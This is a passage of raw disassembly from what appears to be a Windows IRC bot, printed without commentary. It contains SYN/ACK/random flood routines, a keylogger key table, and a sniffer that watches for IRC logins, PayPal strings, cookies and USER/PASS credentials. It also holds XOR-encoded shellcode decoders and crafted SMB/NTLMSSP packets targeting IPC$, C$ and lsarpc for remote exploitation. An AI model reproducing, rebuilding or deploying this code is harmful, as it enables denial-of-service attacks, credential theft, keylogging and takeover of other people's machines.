db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42308C db 2 ; DATA XREF: sub_4010B2+31Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
align 8
unk_4230E8 db 2 ; DATA XREF: sub_401444+390o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 10h
unk_423150 db 2 ; DATA XREF: sub_401444+326o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
unk_4231B4 db 2 ; DATA XREF: sub_401444+12Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 4
unk_4231E8 db 2 ; DATA XREF: sub_401444+C2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
align 8
unk_423238 db 2 ; DATA XREF: sub_401444+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_423280 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182F+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
dword_4232BC dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_4018CB+295o
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
align 10h
dword_4232F0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+4E4o
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 8
dword_423358 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+471o
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401BD4+2FDo
; sub_40CD3A+2A6Do ...
align 4
aAck db 'ack',0 ; DATA XREF: sub_401BD4+2DDo
; sub_40CD3A+2A56o
aSyn db 'syn',0 ; DATA XREF: sub_401BD4+2BDo
; sub_40CD3A+2A3Eo
dword_4233CC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+15Fo
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 10h
dword_423400 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+EEo
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 10h
dword_423450 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD4+70o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 4
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_423BCC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2AAo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_423C04 dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: sub_40211C+ACo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211C+86o
align 4
aAb db 'ab',0 ; DATA XREF: sub_40211C+4Eo
; sub_40CD3A+291Bo
align 4
asc_423C48: ; DATA XREF: sub_40211C+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+21Co
align 10h
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1D9o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 8
off_423C98 dd offset dword_424510 ; DATA XREF: sub_4024D0+29Er
dd offset off_42450C
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dword_423CA8 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_4024D0+1DEo
dword_423CBC dd 0 ; DATA XREF: sub_4024D0+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: seg001:00423CA4o
align 4
aFtp db 'FTP',0 ; DATA XREF: seg001:00423CA0o
off_42450C dd offset byte_435249 ; DATA XREF: seg001:00423C9Co
dword_424510 dd 544F42h, 0 ; DATA XREF: seg001:off_423C98o
unk_424518 db 2 ; DATA XREF: sub_4024D0+2FCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 10h
unk_424560 db 2 ; DATA XREF: sub_4024D0+2ABo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024D0+236o
align 8
unk_4245B8 db 2 ; DATA XREF: sub_4024D0+186o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 8
unk_424608 db 2 ; DATA XREF: sub_4024D0+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 10h
unk_424650 db 2 ; DATA XREF: sub_4024D0+85o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
; ---------------------------------------------------------------------------
jmp short loc_4246AA
; =============== S U B R O U T I N E =======================================
sub_42469A proc far ; CODE XREF: sub_42469A:loc_4246AAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4246A2: ; CODE XREF: sub_42469A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4246A2
jmp short loc_4246AF
; ---------------------------------------------------------------------------
loc_4246AA: ; CODE XREF: seg001:00424698j
call near ptr sub_42469A
loc_4246AF: ; CODE XREF: sub_42469A+Ej
jo short loc_424713
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_424731
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_424713: ; CODE XREF: sub_42469A:loc_4246AFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_424731: ; CODE XREF: sub_42469A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_42469A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4247D8: ; DATA XREF: sub_40297A+151o
; sub_40297A+20Fo
jmp short loc_4247EA
; =============== S U B R O U T I N E =======================================
sub_4247DA proc near ; CODE XREF: sub_4247DA:loc_4247EAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4247E2: ; CODE XREF: sub_4247DA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4247E2
jmp short loc_4247EF
; ---------------------------------------------------------------------------
loc_4247EA: ; CODE XREF: seg001:loc_4247D8j
call sub_4247DA
loc_4247EF: ; CODE XREF: sub_4247DA+Ej
jo short near ptr dword_424768+1Eh
cwde
cdq
cdq
retn
sub_4247DA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_424888 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40297A+102o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424970 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_402DD1+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_424A00 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DD1+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_424AB0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DD1+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_424B90 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_40297A+87o
unicode 0, <C$>,0
a????? db '?????',0
dd 2 dup(0)
dword_424BF8 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+2B2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_424C68 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+2DDo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_424D10 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+3C5o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_424D90 dd offset loc_401493+2 ; DATA XREF: sub_40297A+3F3o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_424E28 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+316o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_424E98 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+341o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_424F10 dd 0 ; DATA XREF: sub_40297A+36Fo
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
